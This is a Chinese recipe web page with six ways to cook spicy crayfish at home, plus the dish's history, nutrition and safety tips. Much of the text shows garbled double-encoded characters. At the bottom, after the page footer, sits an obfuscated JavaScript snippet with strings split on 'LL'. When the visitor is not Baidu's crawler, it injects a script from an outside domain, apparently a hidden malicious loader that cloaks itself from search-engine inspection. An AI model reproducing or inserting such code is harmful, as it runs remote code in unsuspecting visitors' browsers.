當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

夏季最火爆的小龍蝦 醬料香料配方大公開做出飯店味

2019-05-19 19:47:35  來源:360常識網(wǎng)   熱度:
導(dǎo)語:每年到了夏季什么美食賣的是最火爆的?那當(dāng)屬小龍蝦了。一到夏季不管去哪,都有麻辣小龍蝦,或者醬香小龍蝦的,還有很多專門賣小龍蝦的小店

每年到了夏季什么美食賣的是最火爆的?那當(dāng)屬小龍蝦了。一到夏季不管去哪,都有麻辣小龍蝦,或者醬香小龍蝦的,還有很多專門賣小龍蝦的小店,一到夏季就開門,小龍蝦的熱度過了之后就關(guān)門的。每年夏季的小龍蝦是最新鮮的,基本沒有死蝦的,吃起來也是比較鮮嫩的,再加上香辣的醬香味,吃的要多海有多嗨,夏季吃著麻辣小龍蝦再配上冰爽的啤酒,別提多美了。下面和360常識網(wǎng)一起看看吧。

夏季最火爆的小龍蝦,醬料香料配方大公開,在家做出飯店

不過在外邊吃上一份小龍蝦是比較貴的,1斤的沒幾個,都要一百多的,2個人都是不夠吃,畢竟肉不多,沒吃2口就沒有的,如果我們在家做的話,那就實(shí)惠多了,1百多是可以買上幾斤小龍蝦的,一百塊夠3~4個人吃的。在家做的也比較干凈,可以把小龍蝦刷的更干凈一些。很多也是在家做的,不過總感覺自己的做得不好吃,今天小編把做小龍蝦的醬料香料的配方分享給大家,喜歡的可以做一下的,保證讓你在家做出來飯店的味道 。

菜品歷史

小龍蝦學(xué)名克氏原螯蝦,原產(chǎn)自北美洲,1918年由美國引入日本,1929年再由日本引入中國,生長在中國南方的河湖池沼中。

改革開放以來,隨著湖南人遍布全國推廣湘菜,特別是湖南衛(wèi)視的傳播,麻辣小龍蝦(口味蝦)風(fēng)靡一時,眾多演藝明星來湖南做節(jié)目時必然忘不了吃麻辣小龍蝦。

20世紀(jì)末,麻辣小龍蝦開始傳遍全國,成為人們夏夜街邊啤酒攤的經(jīng)典小吃。

做法一

食材

小龍蝦200克、干辣椒20克、花椒20克、蔥2根、姜4片、香葉4片、大蒜5瓣、八角1個、桂皮1根、生抽45ml、老抽15ml、紅糖8克、鹽5克、高度白酒30ml。

步驟

1.將小龍蝦洗凈,蔥姜蒜切碎,辣椒剪塊。

2.鍋中加入比平時炒菜稍多的油,燒到3成熱,放入辣椒、花椒、蔥、姜、蒜煸出香味。

3.放入洗凈的小龍蝦翻炒均勻,然后淋入白酒、生抽、老抽,加入白糖炒出香味。

4.看到小龍蝦卷曲后,放入香葉、八角、桂皮等香料,淋入200ml的清水,加蓋用中火燜8分鐘,最后加入適量鹽調(diào)味,火力調(diào)大將湯汁稍微收干即可。

夏季最火爆的小龍蝦,醬料香料配方大公開,在家做出飯店

做法二

食材

小龍蝦、蔥、姜、蒜、小米椒、花椒、油、白酒、啤酒、香辣醬、雞精、味精、香油、蠔油、醬油、蒸魚豉油、鹽、白糖。

步驟

1.小龍蝦去頭去蝦線后沖洗干凈,加白酒焯水處理。

2.鍋中放油,燒熱后將小龍蝦放入過油,待小龍蝦的表面呈紅色,撈起備用。

3.鍋內(nèi)放油,下姜煸炒,加花椒、小米椒、蒜、香辣醬,炒香后放入小龍蝦。

4.鍋內(nèi)加適量啤酒,加入雞精、味精、香油、蠔油、美極鮮、蒸魚豉油、鹽、白糖,燜3分鐘,加蔥花后即可起鍋。

做法三

食材

小龍蝦800g,姜、蒜、辣椒、花椒、小茴香、陳皮、香葉、白芷、八角、桂皮、甘草、香砂適量,啤酒1罐330ml,料酒1勺,豆瓣醬1大勺,甜面醬1勺,醋1勺,鹽1勺,白糖1/3勺。

步驟

1.姜蒜切片,準(zhǔn)備好辣椒,花椒,小茴香,陳皮,香葉,白芷,八角,桂皮,甘草,香砂。

2.熱鍋上油,油熱后,下姜蒜片煸香,再倒入步驟1里準(zhǔn)備好的其它調(diào)料炒香。

3.倒入清理好的小龍蝦炒至尾巴全部卷起,加料酒,醋炒勻。

4.倒入一大勺豆瓣醬,一勺甜面醬翻炒。

5.加入啤酒,大火燒開后轉(zhuǎn)中火,加白糖提鮮,蓋上蓋燜煮。

6.待水分快收干時,開蓋大火收汁即可。

夏季最火爆的小龍蝦,醬料香料配方大公開,在家做出飯店

做法四

食材

新鮮小龍蝦,干紅辣椒,植物油,精鹽,味精,醬油,白醋,料酒,生姜,大蒜,蔥花,香菜末。

步驟

1.將龍蝦先放在清水里養(yǎng)至少一到兩天,讓蝦把身體里的淤泥吐盡。用廢棄的牙刷將龍蝦洗刷干凈,尤其是頭部與身體連接處。根據(jù)需要可以考慮去除龍蝦的頭并在蝦尾部背上劃開一道口子扯掉黑線。

2.在鍋中放油,油燒熱將蝦放入過油,此時不要放鹽,待蝦的表面呈紅色迅速撈起備用,起鍋。

3.在鍋中放植物油適量,將蒜和姜放入油鍋里用中火炒出香味后,把蝦、八角、桂皮放入鍋中加適量水。

4.水沸騰3分鐘后將準(zhǔn)備好的紅辣椒、精鹽、醬油、醋等作料適當(dāng)?shù)谷耄瑦炓粫骸?/p>

5.轉(zhuǎn)中火,放適量料酒,加水至主料的一半,蓋上鍋蓋,中火悶十分鐘,待水熬成濃汁時,起鍋后加蔥花出鍋盛碗。

做法五

食材

小龍蝦21只、青蒜、蒜頭、小蔥頭、姜、蔥、花椒、八角、甜醬、白酒、生抽。

步驟

1.小龍蝦漂水幾天,用牙刷刷干凈;去頭去蝦腸,洗干凈備用。

2、 青蒜和香蔥洗干凈切段備用;姜和蒜切片,蔥頭切絲備用;

3、花椒一小把, 甜醬1勺,干辣椒切段備用;

4、鍋熱注油,倒入部分青蒜,香蔥,蔥頭,姜和蒜片一起爆香;

5、再倒入干辣椒,花椒和八角一起翻炒;

6、干辣椒約變色時,放入小龍蝦大火爆炒;

7、 至蝦殼變紅時,倒入一勺甜醬繼續(xù)翻炒上色;

8、依次放入少許白酒炒勻,再放入1勺半的鹽一起翻炒;

9、放入一碗水約和龍蝦齊平,大火燒開,轉(zhuǎn)小火燒約三分之一湯汁;

10、再放入剩下的青蒜,香蔥和蒜片等炒勻;

11、最后大火收汁,盛起裝盤即可。

夏季最火爆的小龍蝦,醬料香料配方大公開,在家做出飯店

做法六

食材

小龍蝦、姜、蒜、八角、花椒、大蔥、辣醬、啤酒、植物油。

步驟

1.鍋燒熱,熱鍋涼油,下瀝過水的小龍蝦翻炒出多余水份后盛出備用。

2.重新起鍋,油溫?zé)釙r下花椒八角中火炒出香味。

3.下蔥姜蒜炒香。

4.下辣醬炒出紅油,倒入處理過的小龍蝦翻炒。

5.倒入啤酒沒過小龍蝦。

6.中火燜至啤酒收汁,汁水不要收盡,留有一些時即可出鍋。

主料

小龍蝦1000g

輔料

油適量、鹽適量、姜適量、小蔥50g、辣椒粉適量、八角適量、草果1個、小茴香適量、桂皮適量、白芷適量、花椒適量、香葉適量、陳皮適量、糖適量、生抽適量、老抽適量、料酒適量、醋適量、雞精適量

1.新鮮小龍蝦。

2.先將小龍蝦用刷子把外殼刷洗干凈。

3.再用剪刀把龍蝦頭里的沙囊去掉。

4.再用手指尖掐住龍蝦尾巴中間的位置往外拉,沙線便輕易取出。

5.準(zhǔn)備好洗凈的龍蝦和調(diào)味料。

6.小蔥和姜片。

7.鍋中上油(油要多些),油燒熱后下入砂糖。

8.倒入小龍蝦,中火翻炒(在倒龍蝦時,注意別燙到手)。

9.把小龍蝦炒到變紅出水時,放入蔥和姜片翻炒片刻。

10.倒入步驟5里的調(diào)味料和辣椒粉翻炒。

11.炒出香味后加入料酒、生抽、老抽。

12.醋和雞精翻炒均勻。

13.加入半鍋清水。

14.加鹽。

15.翻炒均勻后蓋蓋,中火燒15到20分鐘。

16.把料汁收至半干即可。

17.出鍋裝盤,盡可享用美味!

小貼士

1、清洗龍蝦時,最好戴只手套,預(yù)防龍蝦把手夾傷。

2、調(diào)味料可根據(jù)自己的口味來添加。

3、加鹽時,最好先嘗嘗咸淡味再添加。

菜品特色

選材宜用清塘消毒過的池塘養(yǎng)殖出來的小龍蝦,保證主料品質(zhì)。成菜后,口味辣鮮香,色澤紅亮,質(zhì)地滑嫩,滋味香辣。

營養(yǎng)價值

小龍蝦營養(yǎng)成分和海蝦相當(dāng),都是高蛋白、低脂肪,蛋白含量占總體的16%至20%左右,脂肪含量不到0.2%。而且所含的脂肪主要是由不飽合脂肪酸組成的,宜于人體吸收。

蝦肉內(nèi)鋅、碘、硒等微量元素的含量要高于其它食品,同時,它的肌纖維細(xì)嫩,易于消化吸收。[6]

注意事項(xiàng)

1.小龍蝦在烹飪前,先用清水浸泡兩三個小時,刷干凈并去掉容易吸附重金屬和細(xì)菌的蝦頭,再高溫烹飪。

2.盡量選鮮嫩軟殼的小龍蝦。色澤鮮亮、腹部爪上絨毛白凈整齊的小龍蝦,是干凈水質(zhì)養(yǎng)出來的。

3.市場上魚龍混雜,衛(wèi)生得不到保障,適當(dāng)食用即可。

4.做好的龍蝦如果尾部蜷曲,說明是活著下鍋的。死龍蝦可能會引起鉛中毒,請勿食用。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}